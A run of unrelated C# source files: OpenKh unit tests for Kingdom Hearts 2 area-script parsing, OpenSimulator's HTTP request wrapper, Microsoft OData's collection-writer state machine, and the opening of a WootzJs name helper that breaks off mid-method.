using OpenKh.Common; using OpenKh.Kh2; using OpenKh.Kh2.Ard; using System.Collections.Generic; using System.IO; using System.Linq; using Xunit; namespace OpenKh.Tests.kh2 { public class ArdTests { public class SpawnScriptTests { private const string FileName = "kh2/res/map.spawnscript"; private static readonly byte[] SampleScript = new byte[] { // Program header 0x00, 0x00, 0x40, 0x00, // Opcode AreaSettings 0x0C, 0x00, 0x0e, 0x00, 0x00, 0x00, 0xFF, 0xFF, // ProgressFlag 0x02, 0x00, 0x0A, 0x38, // Event 0x00, 0x00, 0x02, 0x00, 0x31, 0x31, 0x30, 0x00, // Jump 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0E, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, // Party menu 0x07, 0x00, 0x00, 0x00, // Progress flag 0x02, 0x00, 0x34, 0x12, // UnkAreaSet05 0x05, 0x00, 0x22, 0x11, // AddInventory 0x06, 0x00, 0x02, 0x00, 0x9A, 0x02, 0x00, 0x00, 0x09, 0x03, 0x00, 0x00, // End program 0xFF, 0xFF, 0x00, 0x00, }; private const string SampleScriptDecompiled = "Program 0x00\n" + "AreaSettings 0 -1\n" + "\tSetProgressFlag 0x380A\n" + "\tSetEvent \"110\" Type 2\n" + "\tSetJump Type 1 World NM Area 5 Entrance 0 LocalSet 0 FadeType 1\n" + "\tSetPartyMenu 0\n" + "\tSetProgressFlag 0x1234\n" + "\tSetUnk05 0x1122\n" + "\tSetInventory 666 777\n"; [Fact] public void ReadTest() { var spawns = File.OpenRead(FileName).Using(AreaDataScript.Read); var strProgram = spawns.First(x => x.ProgramId == 6).ToString(); Assert.Equal(31, spawns.Count); } [Fact] public void WriteTest() => File.OpenRead(FileName).Using(x => Helpers.AssertStream(x, stream => { var outStream = new MemoryStream(); AreaDataScript.Write(outStream, AreaDataScript.Read(stream)); return outStream; })); [Theory] [InlineData("Spawn \"ABcd\"", 0, 0x64634241)] [InlineData("MapVisibility 0xffffffff 0x00000001", 1, -1, 1)] [InlineData("RandomSpawn \"0123\" \"4567\"", 2, 0x33323130, 0x37363534)] [InlineData("CasualSpawn 123 \"666\"", 3, 123, 0x363636)] [InlineData("Capacity 123", 4, 123)] [InlineData("AllocEnemy 123", 5, 123)] [InlineData("Unk06 123", 6, 123)] [InlineData("Unk07 123", 7, 123)] [InlineData("SpawnAlt \"666\"", 9, 0x363636)] [InlineData("Party NO_FRIEND", 15, 0)] [InlineData("Party DEFAULT", 15, 1)] [InlineData("Party W_FRIEND", 15, 2)] [InlineData("Party W_FRIEND_IN", 15, 3)] [InlineData("Party W_FRIEND_FIX", 15, 4)] [InlineData("Party W_FRIEND_ONLY", 15, 5)] [InlineData("Party DONALD_ONLY", 15, 6)] [InlineData("Bgm 123 456", 16, 0x01c8007b)] [InlineData("Bgm Default Default", 16, 0)] [InlineData("StatusFlag3", 0x14)] [InlineData("Mission 0x1234 \"OPENKH IS OUR MISSION!\"", 0x15, 0x1234, 0x4E45504F, 0x4920484B, 1431248979, 1229791314, 1330205523, 8526, 0, 0)] [InlineData("Layout \"OPENKH IS OUR MISSION!\"", 0x16, 0x4E45504F, 0x4920484B, 1431248979, 1229791314, 1330205523, 8526, 0, 0)] [InlineData("StatusFlag5", 0x17)] [InlineData("BattleLevel 99", 0x1E, 99)] [InlineData("Unk1f \"666\"", 0x1f, 0x363636)] public void ParseScriptAsText(string expected, int operation, params int[] parameters) { const int ProgramId = 0; var writer = new BinaryWriter(new MemoryStream()); writer.Write((short)ProgramId); writer.Write((short)(parameters.Length * 4 + 8)); writer.Write((short)operation); writer.Write((short)parameters.Length); foreach (var item in parameters) writer.Write(item); writer.BaseStream.Position = 0; writer.BaseStream.Flush(); var command = AreaDataScript.Read(writer.BaseStream, ProgramId).First(); Assert.Equal(expected, command.ToString()); } [Fact] public void CreateProgramsCorrectly() { const string Input = @" # This is a comment! Program 123 # This is our program entry StatusFlag3 Program 0x123 StatusFlag5"; var script = AreaDataScript.Compile(Input).ToArray(); Assert.Equal(2, script.Length); Assert.Equal(123, script[0].ProgramId); Assert.Single(script[0].Functions); Assert.Equal(0x123, script[1].ProgramId); Assert.Single(script[1].Functions); } [Theory] [InlineData("Spawn \"ABcd\"")] [InlineData("MapVisibility 0xffffffff 0x00000001")] [InlineData("RandomSpawn \"0123\" \"4567\"")] [InlineData("CasualSpawn 123 \"666\"")] [InlineData("Capacity 123")] [InlineData("AllocEnemy 123")] [InlineData("Unk06 123")] [InlineData("Unk07 123")] [InlineData("SpawnAlt \"666\"")] [InlineData("Party NO_FRIEND")] [InlineData("Party DEFAULT")] [InlineData("Party W_FRIEND")] [InlineData("Party W_FRIEND_IN")] [InlineData("Party W_FRIEND_FIX")] [InlineData("Party W_FRIEND_ONLY")] [InlineData("Party DONALD_ONLY")] [InlineData("Bgm 123 456")] [InlineData("Bgm Default Default")] [InlineData("StatusFlag3")] [InlineData("Mission 0x1234 \"OPENKH IS OUR MISSION!\"")] [InlineData("Layout \"OPENKH IS OUR MISSION!\"")] [InlineData("StatusFlag5")] [InlineData("BattleLevel 99")] [InlineData("Unk1f \"666\"")] public void ParseTextAsScript(string input) { var code = $"Program 0x00\n{input}"; var scripts = AreaDataScript.Compile(code).ToArray(); Assert.Single(scripts); var decompiled = scripts.First().ToString(); Assert.Equal(code, decompiled); } [Fact] public void WriteAreaSettings() => Helpers.AssertStream(new MemoryStream(SampleScript), stream => { var dstStream = new MemoryStream(); var scripts = AreaDataScript.Read(stream); AreaDataScript.Write(dstStream, scripts); return dstStream; }); [Fact] public void DecompileAreaSettings() { var scripts = AreaDataScript.Read(new MemoryStream(SampleScript)); Assert.Equal(SampleScriptDecompiled, scripts.First().ToString()); } [Fact] public void CompileAreaSettings() => Helpers.AssertStream(new MemoryStream(SampleScript), _ => { var dstStream = new MemoryStream(); var scripts = AreaDataScript.Compile(SampleScriptDecompiled); AreaDataScript.Write(dstStream, scripts); return dstStream; }); public static IEnumerable<object[]> ScriptSource() { if (!Directory.Exists(Path.Combine(Helpers.Kh2DataPath, "ard"))) { yield return new object[] { "", "" }; yield break; } foreach (var fileName in Directory.GetFiles(Helpers.Kh2DataPath, "ard/*.ard", SearchOption.AllDirectories)) { if (!File.OpenRead(fileName).Using(Bar.IsValid)) continue; yield return new object[] { fileName, "map" }; yield return new object[] { fileName, "btl" }; yield return new object[] { fileName, "evt" }; } } [SkippableTheory, MemberData(nameof(ScriptSource))] public void Batch_WriteAllScripts(string ardFile, string scriptSet) { Skip.If(ardFile == string.Empty, "No ARD files found"); var binarcEntry = File.OpenRead(ardFile).Using(Bar.Read) .FirstOrDefault(x => x.Name == scriptSet && x.Type == Bar.EntryType.AreaDataScript); if (binarcEntry == null) return; Helpers.AssertStream(binarcEntry.Stream, stream => { var memStream = new MemoryStream(); AreaDataScript.Write(memStream, AreaDataScript.Read(stream)); return memStream; }); } [SkippableTheory, MemberData(nameof(ScriptSource))] public void Batch_CompileAllScripts(string ardFile, string scriptSet) { Skip.If(ardFile == string.Empty, "No ARD files found"); var binarcEntry = File.OpenRead(ardFile).Using(Bar.Read) .FirstOrDefault(x => x.Name == scriptSet && x.Type == Bar.EntryType.AreaDataScript); if (binarcEntry == null) return; var expected = AreaDataScript.Decompile(AreaDataScript.Read(binarcEntry.Stream)); var actual = AreaDataScript.Decompile(AreaDataScript.Compile(expected)); Assert.Equal(expected, actual); } } public class SpawnPointTests { const string FileNameM00 = "kh2/res/m_00.spawnpoint"; const string FileNameM10 = "kh2/res/m_10.spawnpoint"; const string FileNameY73 = "kh2/res/y73_.spawnpoint"; [Fact] public void ReadM00Test() { var spawns = File.OpenRead(FileNameM00).Using(SpawnPoint.Read); Assert.Equal(4, spawns.Count); Assert.Equal(3, spawns[0].Entities.Count); Assert.Equal(0x236, spawns[0].Entities[0].ObjectId); } [Theory] [InlineData(FileNameM00)] [InlineData(FileNameM10)] [InlineData(FileNameY73)] public void WriteTest(string fileName) => File.OpenRead(fileName).Using(x => Helpers.AssertStream(x, stream => { var outStream = new MemoryStream(); SpawnPoint.Write(outStream, SpawnPoint.Read(stream)); return outStream; })); } } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections; using System.Collections.Generic; using System.Collections.Specialized; using System.IO; using System.Net; using System.Reflection; using System.Text; using System.Web; using HttpServer; using log4net; namespace OpenSim.Framework.Servers.HttpServer { public class OSHttpRequest { private static readonly ILog _log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); protected IHttpRequest _request = null; protected IHttpClientContext _context = null; public string[] AcceptTypes { get { return _request.AcceptTypes; } } public Encoding ContentEncoding { get { return _contentEncoding; } } private Encoding _contentEncoding; public long ContentLength { get { return _request.ContentLength; } } public long ContentLength64 { get { return ContentLength; } } public string ContentType { get { return _contentType; } } private string _contentType; public HttpCookieCollection Cookies { get { RequestCookies cookies = _request.Cookies; HttpCookieCollection httpCookies = new HttpCookieCollection(); foreach (RequestCookie cookie in cookies) httpCookies.Add(new HttpCookie(cookie.Name, cookie.Value)); return httpCookies; } } public bool HasEntityBody { get { return _request.ContentLength != 0; } } public NameValueCollection Headers { get { return _request.Headers; } } public string HttpMethod { get { return _request.Method; } } public Stream InputStream { get { return _request.Body; } } public bool IsSecured { get { return _context.Secured; } } public bool KeepAlive { get { return ConnectionType.KeepAlive == _request.Connection; } } public NameValueCollection QueryString { get { return _queryString; } } private NameValueCollection _queryString; public Hashtable Query { get { return _query; } } private Hashtable _query; public string RawUrl { get { return _request.Uri.AbsolutePath; } } public IPEndPoint RemoteIPEndPoint { get { return _remoteIPEndPoint; } } private IPEndPoint _remoteIPEndPoint; public Uri Url { get { return _request.Uri; } } public string UserAgent { get { return _userAgent; } } private string _userAgent; internal IHttpRequest IHttpRequest { get { return _request; } } internal IHttpClientContext IHttpClientContext { get { return _context; } } /// <summary> /// Internal whiteboard for handlers to store temporary stuff /// into. /// </summary> internal Dictionary<string, object> Whiteboard { get { return _whiteboard; } } private Dictionary<string, object> _whiteboard = new Dictionary<string, object>(); public OSHttpRequest() {} public OSHttpRequest(IHttpClientContext context, IHttpRequest req) { _request = req; _context = context; if (null != req.Headers["content-encoding"]) _contentEncoding = Encoding.GetEncoding(_request.Headers["content-encoding"]); if (null != req.Headers["content-type"]) _contentType = _request.Headers["content-type"]; if (null != req.Headers["user-agent"]) _userAgent = req.Headers["user-agent"]; if (null != req.Headers["remote_addr"]) { try { IPAddress addr = IPAddress.Parse(req.Headers["remote_addr"]); int port = Int32.Parse(req.Headers["remote_port"]); _remoteIPEndPoint = new IPEndPoint(addr, port); } catch (FormatException) { _log.ErrorFormat("[OSHttpRequest]: format exception on addr/port {0}:{1}, ignoring", req.Headers["remote_addr"], req.Headers["remote_port"]); } } _queryString = new NameValueCollection(); _query = new Hashtable(); try { foreach (HttpInputItem item in req.QueryString) { try { _queryString.Add(item.Name, item.Value); _query[item.Name] = item.Value; } catch (InvalidCastException) { _log.DebugFormat("[OSHttpRequest]: error parsing {0} query item, skipping it", item.Name); continue; } } } catch (Exception) { _log.ErrorFormat("[OSHttpRequest]: Error parsing querystring"); } } public override string ToString() { StringBuilder me = new StringBuilder(); me.Append(String.Format("OSHttpRequest: {0} {1}\n", HttpMethod, RawUrl)); foreach (string k in Headers.AllKeys) { me.Append(String.Format(" {0}: {1}\n", k, Headers[k])); } if (null != RemoteIPEndPoint) { me.Append(String.Format(" IP: {0}\n", RemoteIPEndPoint)); } return me.ToString(); } } }
// Copyright 2011 Microsoft Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. namespace Microsoft.Data.OData { #region Namespaces using System; using System.Collections.Generic; using System.Diagnostics; #if ODATALIB_ASYNC using System.Threading.Tasks; #endif using Microsoft.Data.Edm; using Microsoft.Data.OData.Metadata; #endregion Namespaces /// <summary> /// Base class for OData collection writers that verifies a proper sequence of write calls on the writer. /// </summary> internal abstract class ODataCollectionWriterCore : ODataCollectionWriter, IODataOutputInStreamErrorListener { /// <summary>The output context to write to.</summary> private readonly ODataOutputContext outputContext; /// <summary>The expected type of the items in the collection or null if no expected item type exists.</summary> private readonly IEdmTypeReference expectedItemType; /// <summary>If not null, the writer will notify the implementer of the interface of relevant state changes in the writer.</summary> private readonly IODataReaderWriterListener listener; /// <summary>The collection validator instance if no expected item type has been specified; otherwise null.</summary> private readonly CollectionWithoutExpectedTypeValidator collectionValidator; /// <summary>Stack of writer scopes to keep track of the current context of the writer.</summary> private Stack<Scope> scopes = new Stack<Scope>(); /// <summary>Checker to detect duplicate property names on complex collection items.</summary> private DuplicatePropertyNamesChecker duplicatePropertyNamesChecker; /// <summary> /// Constructor. /// </summary> /// <param name="outputContext">The output context to write to.</param> /// <param name="expectedItemType">The type reference of the expected item type or null if no expected item type exists.</param> /// <param name="listener">If not null, the writer will notify the implementer of the interface of relevant state changes in the writer.</param> protected ODataCollectionWriterCore(ODataOutputContext outputContext, IEdmTypeReference expectedItemType, IODataReaderWriterListener listener) { DebugUtils.CheckNoExternalCallers(); Debug.Assert(outputContext != null, "outputContext != null"); this.outputContext = outputContext; this.expectedItemType = expectedItemType; this.listener = listener; this.scopes.Push(new Scope(CollectionWriterState.Start, null)); if (this.expectedItemType == null) { this.collectionValidator = new CollectionWithoutExpectedTypeValidator(/*expectedItemTypeName*/ null); } } /// <summary> /// An enumeration representing the current state of the writer. /// </summary> internal enum CollectionWriterState { /// <summary>The writer is at the start; nothing has been written yet.</summary> Start, /// <summary> /// The writer has started writing and is writing the wrapper elements for the /// collection items (if any). No or all items have been written. /// </summary> Collection, /// <summary>The writer is in a state where collection items can be written.</summary> Item, /// <summary>The writer has completed; nothing can be written anymore.</summary> Completed, /// <summary>Writer has written an error; nothing can be written anymore.</summary> Error } /// <summary> /// The current state of the writer. /// </summary> protected CollectionWriterState State { get { return this.scopes.Peek().State; } } /// <summary>Checker to detect duplicate property names on complex collection items.</summary> protected DuplicatePropertyNamesChecker DuplicatePropertyNamesChecker { get { if (this.duplicatePropertyNamesChecker == null) { this.duplicatePropertyNamesChecker = new DuplicatePropertyNamesChecker( this.outputContext.MessageWriterSettings.WriterBehavior.AllowDuplicatePropertyNames, this.outputContext.WritingResponse); } return this.duplicatePropertyNamesChecker; } } /// <summary> /// The collection validator instance. /// </summary> protected CollectionWithoutExpectedTypeValidator CollectionValidator { get { return this.collectionValidator; } } /// <summary> /// Flushes the write buffer to the underlying stream. /// </summary> public sealed override void Flush() { this.VerifyCanFlush(true); // make sure we switch to writer state Error if an exception is thrown during flushing. try { this.FlushSynchronously(); } catch { this.ReplaceScope(CollectionWriterState.Error, null); throw; } } #if ODATALIB_ASYNC /// <summary> /// Asynchronously flushes the write buffer to the underlying stream. /// </summary> /// <returns>A task instance that represents the asynchronous operation.</returns> public sealed override Task FlushAsync() { this.VerifyCanFlush(false); // make sure we switch to writer state Error if an exception is thrown during flushing. return this.FlushAsynchronously().FollowOnFaultWith(t => this.ReplaceScope(CollectionWriterState.Error, null)); } #endif /// <summary> /// Start writing a collection. /// </summary> /// <param name="collectionStart">The <see cref="ODataCollectionStart"/> representing the collection.</param> public sealed override void WriteStart(ODataCollectionStart collectionStart) { this.VerifyCanWriteStart(true, collectionStart); this.WriteStartImplementation(collectionStart); } #if ODATALIB_ASYNC /// <summary> /// Asynchronously start writing a collection. /// </summary> /// <param name="collection">The <see cref="ODataCollectionStart"/> representing the collection.</param> /// <returns>A task instance that represents the asynchronous write operation.</returns> public sealed override Task WriteStartAsync(ODataCollectionStart collection) { this.VerifyCanWriteStart(false, collection); return TaskUtils.GetTaskForSynchronousOperation(() => this.WriteStartImplementation(collection)); } #endif /// <summary> /// Write a collection item. /// </summary> /// <param name="item">The collection item to write.</param> public sealed override void WriteItem(object item) { this.VerifyCanWriteItem(true); this.WriteItemImplementation(item); } #if ODATALIB_ASYNC /// <summary> /// Asynchronously start writing a collection item. /// </summary> /// <param name="item">The collection item to write.</param> /// <returns>A task instance that represents the asynchronous write operation.</returns> public sealed override Task WriteItemAsync(object item) { this.VerifyCanWriteItem(false); return TaskUtils.GetTaskForSynchronousOperation(() => this.WriteItemImplementation(item)); } #endif /// <summary> /// Finish writing a collection. /// </summary> public sealed override void WriteEnd() { this.VerifyCanWriteEnd(true); this.WriteEndImplementation(); if (this.scopes.Peek().State == CollectionWriterState.Completed) { // Note that we intentionally go through the public API so that if the Flush fails the writer moves to the Error state. this.Flush(); } } #if ODATALIB_ASYNC /// <summary> /// Asynchronously finish writing a collection. /// </summary> /// <returns>A task instance that represents the asynchronous write operation.</returns> public sealed override Task WriteEndAsync() { this.VerifyCanWriteEnd(false); return TaskUtils.GetTaskForSynchronousOperation(this.WriteEndImplementation) .FollowOnSuccessWithTask( task => { if (this.scopes.Peek().State == CollectionWriterState.Completed) { // Note that we intentionally go through the public API so that if the Flush fails the writer moves to the Error state. return this.FlushAsync(); } else { return TaskUtils.CompletedTask; } }); } #endif /// <summary> /// This method notifies the listener, that an in-stream error is to be written. /// </summary> /// <remarks> /// This listener can choose to fail, if the currently written payload doesn't support in-stream error at this position. /// If the listener returns, the writer should not allow any more writing, since the in-stream error is the last thing in the payload. /// </remarks> void IODataOutputInStreamErrorListener.OnInStreamError() { this.VerifyNotDisposed(); // We're in a completed state trying to write an error (we can't write error after the payload was finished as it might // introduce another top-level element in XML) if (this.State == CollectionWriterState.Completed) { throw new ODataException(Strings.ODataWriterCore_InvalidTransitionFromCompleted(this.State.ToString(), CollectionWriterState.Error.ToString())); } this.StartPayloadInStartState(); this.EnterScope(CollectionWriterState.Error, this.scopes.Peek().Item); } /// <summary> /// Determines whether a given writer state is considered an error state. /// </summary> /// <param name="state">The writer state to check.</param> /// <returns>True if the writer state is an error state; otherwise false.</returns> protected static bool IsErrorState(CollectionWriterState state) { return state == CollectionWriterState.Error; } /// <summary> /// Check if the object has been disposed; called from all public API methods. Throws an ObjectDisposedException if the object /// has already been disposed. /// </summary> protected abstract void VerifyNotDisposed(); /// <summary> /// Flush the output. /// </summary> protected abstract void FlushSynchronously(); #if ODATALIB_ASYNC /// <summary> /// Flush the output. /// </summary> /// <returns>Task representing the pending flush operation.</returns> protected abstract Task FlushAsynchronously(); #endif /// <summary> /// Start writing an OData payload. /// </summary> protected abstract void StartPayload(); /// <summary> /// Finish writing an OData payload. /// </summary> protected abstract void EndPayload(); /// <summary> /// Start writing a collection. /// </summary> /// <param name="collectionStart">The <see cref="ODataCollectionStart"/> representing the collection.</param> protected abstract void StartCollection(ODataCollectionStart collectionStart); /// <summary> /// Finish writing a collection. /// </summary> protected abstract void EndCollection(); /// <summary> /// Writes a collection item (either primitive or complex) /// </summary> /// <param name="item">The collection item to write.</param> /// <param name="expectedItemTypeReference">The expected type of the collection item or null if no expected item type exists.</param> protected abstract void WriteCollectionItem(object item, IEdmTypeReference expectedItemTypeReference); /// <summary> /// Verifies that calling WriteStart is valid. /// </summary> /// <param name="synchronousCall">true if the call is to be synchronous; false otherwise.</param> /// <param name="collectionStart">The <see cref="ODataCollectionStart"/> representing the collection.</param> private void VerifyCanWriteStart(bool synchronousCall, ODataCollectionStart collectionStart) { ExceptionUtils.CheckArgumentNotNull(collectionStart, "collection"); // we do not allow empty collection names // NOTE: null is allowed as collection name in JSON but not in ATOM; // the ODataAtomCollectionWriter checks for null. string collectionName = collectionStart.Name; if (collectionName != null && collectionName.Length == 0) { throw new ODataException(Strings.ODataCollectionWriterCore_CollectionsMustNotHaveEmptyName); } this.VerifyNotDisposed(); this.VerifyCallAllowed(synchronousCall); } /// <summary> /// Start writing a collection - implementation of the actual functionality. /// </summary> /// <param name="collectionStart">The <see cref="ODataCollectionStart"/> representing the collection.</param> private void WriteStartImplementation(ODataCollectionStart collectionStart) { this.StartPayloadInStartState(); this.EnterScope(CollectionWriterState.Collection, collectionStart); this.InterceptException(() => this.StartCollection(collectionStart)); } /// <summary> /// Verify that calling WriteItem is valid. /// </summary> /// <param name="synchronousCall">true if the call is to be synchronous; false otherwise.</param> private void VerifyCanWriteItem(bool synchronousCall) { this.VerifyNotDisposed(); this.VerifyCallAllowed(synchronousCall); } /// <summary> /// Write a collection item - implementation of the actual functionality. /// </summary> /// <param name="item">The collection item to write.</param> private void WriteItemImplementation(object item) { if (this.scopes.Peek().State != CollectionWriterState.Item) { this.EnterScope(CollectionWriterState.Item, item); } this.InterceptException(() => { ValidationUtils.ValidateCollectionItem(item, true /* isStreamable */); this.WriteCollectionItem(item, this.expectedItemType); }); } /// <summary> /// Verifies that calling WriteEnd is valid. /// </summary> /// <param name="synchronousCall">true if the call is to be synchronous; false otherwise.</param> private void VerifyCanWriteEnd(bool synchronousCall) { this.VerifyNotDisposed(); this.VerifyCallAllowed(synchronousCall); } /// <summary> /// Finish writing a collection - implementation of the actual functionality. /// </summary> private void WriteEndImplementation() { this.InterceptException(() => { Scope currentScope = this.scopes.Peek(); switch (currentScope.State) { case CollectionWriterState.Collection: this.EndCollection(); break; case CollectionWriterState.Item: this.LeaveScope(); Debug.Assert(this.scopes.Peek().State == CollectionWriterState.Collection, "Expected to find collection state after popping from item state."); this.EndCollection(); break; case CollectionWriterState.Start: // fall through case CollectionWriterState.Completed: // fall through case CollectionWriterState.Error: // fall through throw new ODataException(Strings.ODataCollectionWriterCore_WriteEndCalledInInvalidState(currentScope.State.ToString())); default: throw new ODataException(Strings.General_InternalError(InternalErrorCodes.ODataCollectionWriterCore_WriteEnd_UnreachableCodePath)); } this.LeaveScope(); }); } /// <summary> /// Verifies that calling Flush is valid. /// </summary> /// <param name="synchronousCall">true if the call is to be synchronous; false otherwise.</param> private void VerifyCanFlush(bool synchronousCall) { this.VerifyNotDisposed(); this.VerifyCallAllowed(synchronousCall); } /// <summary> /// Verifies that a call is allowed to the writer. /// </summary> /// <param name="synchronousCall">true if the call is to be synchronous; false otherwise.</param> private void VerifyCallAllowed(bool synchronousCall) { if (synchronousCall) { if (!this.outputContext.Synchronous) { throw new ODataException(Strings.ODataCollectionWriterCore_SyncCallOnAsyncWriter); } } else { #if ODATALIB_ASYNC if (this.outputContext.Synchronous) { throw new ODataException(Strings.ODataCollectionWriterCore_AsyncCallOnSyncWriter); } #else Debug.Assert(false, "Async calls are not allowed in this build."); #endif } } /// <summary> /// Checks whether we are currently writing the first top-level element; if so call StartPayload /// </summary> private void StartPayloadInStartState() { Scope current = this.scopes.Peek(); if (current.State == CollectionWriterState.Start) { this.InterceptException(this.StartPayload); } } /// <summary> /// Catch any exception thrown by the action passed in; in the exception case move the writer into /// state ExceptionThrown and then rethrow the exception. /// </summary> /// <param name="action">The action to execute.</param> private void InterceptException(Action action) { try { action(); } catch { if (!IsErrorState(this.State)) { this.EnterScope(CollectionWriterState.Error, this.scopes.Peek().Item); } throw; } } /// <summary> /// Notifies the implementer of the <see cref="IODataReaderWriterListener"/> interface of relevant state changes in the writer. /// </summary> /// <param name="newState">The new writer state.</param> private void NotifyListener(CollectionWriterState newState) { if (this.listener != null) { if (IsErrorState(newState)) { this.listener.OnException(); } else if (newState == CollectionWriterState.Completed) { this.listener.OnCompleted(); } } } /// <summary> /// Enter a new writer scope; verifies that the transition from the current state into new state is valid /// and attaches the item to the new scope. /// </summary> /// <param name="newState">The writer state to transition into.</param> /// <param name="item">The item to associate with the new scope.</param> private void EnterScope(CollectionWriterState newState, object item) { this.InterceptException(() => this.ValidateTransition(newState)); this.scopes.Push(new Scope(newState, item)); this.NotifyListener(newState); } /// <summary> /// Leave the current writer scope and return to the previous scope. /// When reaching the top-level replace the 'Started' scope with a 'Completed' scope. /// </summary> /// <remarks>Note that this method is never called once an error has been written or a fatal exception has been thrown.</remarks> private void LeaveScope() { Debug.Assert(this.State != CollectionWriterState.Error, "this.State != WriterState.Error"); this.scopes.Pop(); // if we are back at the root replace the 'Start' state with the 'Completed' state if (this.scopes.Count == 1) { this.scopes.Pop(); this.scopes.Push(new Scope(CollectionWriterState.Completed, null)); this.InterceptException(this.EndPayload); this.NotifyListener(CollectionWriterState.Completed); } } /// <summary> /// Replaces the current scope with a new scope; checks that the transition is valid. /// </summary> /// <param name="newState">The new state to transition into.</param> /// <param name="item">The item associated with the new state.</param> private void ReplaceScope(CollectionWriterState newState, ODataItem item) { this.ValidateTransition(newState); this.scopes.Pop(); this.scopes.Push(new Scope(newState, item)); this.NotifyListener(newState); } /// <summary> /// Verify that the transition from the current state into new state is valid . /// </summary> /// <param name="newState">The new writer state to transition into.</param> private void ValidateTransition(CollectionWriterState newState) { if (!IsErrorState(this.State) && IsErrorState(newState)) { // we can always transition into an error state if we are not already in an error state return; } switch (this.State) { case CollectionWriterState.Start: if (newState != CollectionWriterState.Collection && newState != CollectionWriterState.Completed) { throw new ODataException(Strings.ODataCollectionWriterCore_InvalidTransitionFromStart(this.State.ToString(), newState.ToString())); } break; case CollectionWriterState.Collection: if (newState != CollectionWriterState.Item && newState != CollectionWriterState.Completed) { throw new ODataException(Strings.ODataCollectionWriterCore_InvalidTransitionFromCollection(this.State.ToString(), newState.ToString())); } break; case CollectionWriterState.Item: if (newState != CollectionWriterState.Completed) { throw new ODataException(Strings.ODataCollectionWriterCore_InvalidTransitionFromItem(this.State.ToString(), newState.ToString())); } break; case CollectionWriterState.Completed: // we should never see a state transition when in state 'Completed' throw new ODataException(Strings.ODataWriterCore_InvalidTransitionFromCompleted(this.State.ToString(), newState.ToString())); case CollectionWriterState.Error: if (newState != CollectionWriterState.Error) { // No more state transitions once we are in error state throw new ODataException(Strings.ODataWriterCore_InvalidTransitionFromError(this.State.ToString(), newState.ToString())); } break; default: throw new ODataException(Strings.General_InternalError(InternalErrorCodes.ODataCollectionWriterCore_ValidateTransition_UnreachableCodePath)); } } /// <summary> /// A writer scope; keeping track of the current writer state and an item associated with this state. /// </summary> private sealed class Scope { /// <summary>The writer state of this scope.</summary> private readonly CollectionWriterState state; /// <summary>The item attached to this scope.</summary> private readonly object item; /// <summary> /// Constructor creating a new writer scope. /// </summary> /// <param name="state">The writer state of this scope.</param> /// <param name="item">The item attached to this scope.</param> public Scope(CollectionWriterState state, object item) { this.state = state; this.item = item; } /// <summary> /// The writer state of this scope. /// </summary> public CollectionWriterState State { get { return this.state; } } /// <summary> /// The item attached to this scope. /// </summary> public object Item { get { return this.item; } } } } }
#region License //----------------------------------------------------------------------- // <copyright> // The MIT License (MIT) // // Copyright (c) 2014 Kirk S Woll // // Permission is hereby granted, free of charge, to any person obtaining a copy of // this software and associated documentation files (the "Software"), to deal in // the Software without restriction, including without limitation the rights to // use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of // the Software, and to permit persons to whom the Software is furnished to do so, // subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS // FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER // IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // </copyright> //----------------------------------------------------------------------- #endregion using System; using System.Collections.Generic; using System.Linq; using System.Runtime.WootzJs; using Microsoft.CodeAnalysis; namespace WootzJs.Compiler { public static class JsNames { public static string GetMemberName(this ISymbol symbol) { if (symbol is IMethodSymbol) return ((IMethodSymbol)symbol).GetMemberName(); else if (symbol is IFieldSymbol) return ((IFieldSymbol)symbol).GetMemberName(); else if (symbol is IPropertySymbol) return ((IPropertySymbol)symbol).GetMemberName(); else if (symbol is IEventSymbol) return ((IEventSymbol)symbol).GetMemberName(); else throw new Exception(); } public static string GetShortTypeName(this ITypeSymbol type) { var nameOverride = type.GetAttributeValue<string>(Context.Instance.JsAttributeType, "Name"); if (nameOverride != null) return nameOverride; 